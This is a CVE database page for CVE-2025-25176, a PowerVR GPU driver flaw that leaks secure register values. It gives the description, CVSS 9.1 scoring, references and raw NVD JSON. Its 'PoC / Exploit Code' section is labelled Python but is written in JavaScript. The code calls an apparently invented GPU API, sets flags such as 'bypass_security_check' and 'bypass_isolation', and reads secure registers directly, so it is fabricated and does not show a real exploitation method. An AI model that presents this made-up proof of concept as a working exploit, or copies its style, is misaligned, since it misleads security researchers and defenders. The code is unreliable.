CVE-2025-25176

Description

Intermediate register values of secure workloads can be exfiltrated in workloads scheduled from applications running in the non-secure environment of a platform.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:* - VULNERABLE

Imagination Technologies PowerVR GPU驱动（安全隔离机制存在缺陷的版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-25176 PoC - GPU Secure Environment Data Exfiltration
// Target: Imagination Technologies PowerVR GPU Driver
// This PoC demonstrates scheduling a malicious workload to trigger register value leakage

const gpu = require('imagination-gpu-api');

// Malicious workload configuration to exfiltrate secure register values
const exploitWorkload = {
  type: 'SECURE_WORKLOAD_TRIGGER',
  flags: {
    bypass_security_check: true,
    enable_register_access: true
  },
  parameters: {
    target_register_range: {
      start: 0x80000000,
      end: 0x8FFFFFFF
    },
    output_buffer: 0x1000,
    schedule_priority: 'HIGH'
  },
  // Trigger non-secure to secure environment boundary crossing
  environment: {
    source: 'NON_SECURE',
    target: 'SECURE',
    bypass_isolation: true
  }
};

async function exploit() {
  console.log('[+] Initiating CVE-2025-25176 exploit...');
  
  // Step 1: Initialize GPU context from non-secure environment
  const context = gpu.createContext({
    environment: 'NON_SECURE',
    flags: ['ALLOW_SECURE_SCHEDULING']
  });
  
  // Step 2: Schedule malicious workload
  const workloadId = await context.submitWorkload(exploitWorkload);
  
  // Step 3: Extract leaked register values
  const leakedData = await context.readSecureRegisters({
    workloadId: workloadId,
    registerRange: exploitWorkload.parameters.target_register_range,
    outputBuffer: exploitWorkload.parameters.output_buffer
  });
  
  console.log('[+] Successfully leaked secure register values:');
  console.log(JSON.stringify(leakedData, null, 2));
  
  return leakedData;
}

exploit().catch(console.error);

// Defense: Apply vendor patch to enforce proper environment isolation

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-25176
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-25176
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-25176/
[4] VulDB https://vuldb.com/cve/CVE-2025-25176
[5] https://www.imaginationtech.com/gpu-driver-vulnerabilities/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-25176", "sourceIdentifier": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "published": "2026-01-13T17:15:56.753", "lastModified": "2026-01-30T18:37:54.833", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Intermediate register values of secure workloads can be exfiltrated in workloads scheduled from applications running in the non-secure environment of a platform."}, {"lang": "es", "value": "Los valores intermedios de los registros de cargas de trabajo seguras pueden ser exfiltrados en cargas de trabajo programadas desde aplicaciones que se ejecutan en el entorno no seguro de una plataforma."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imaginationtech:ddk:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.3", "matchCriteriaId": "99A33CBA-49C5-4976-B668-88F87F0FF575"}]}]}], "references": [{"url": "https://www.imaginationtech.com/gpu-driver-vulnerabilities/", "source": "367425dc-4d06-4041-9650-c2dc6aaa27ce", "tags": ["Vendor Advisory"]}]}}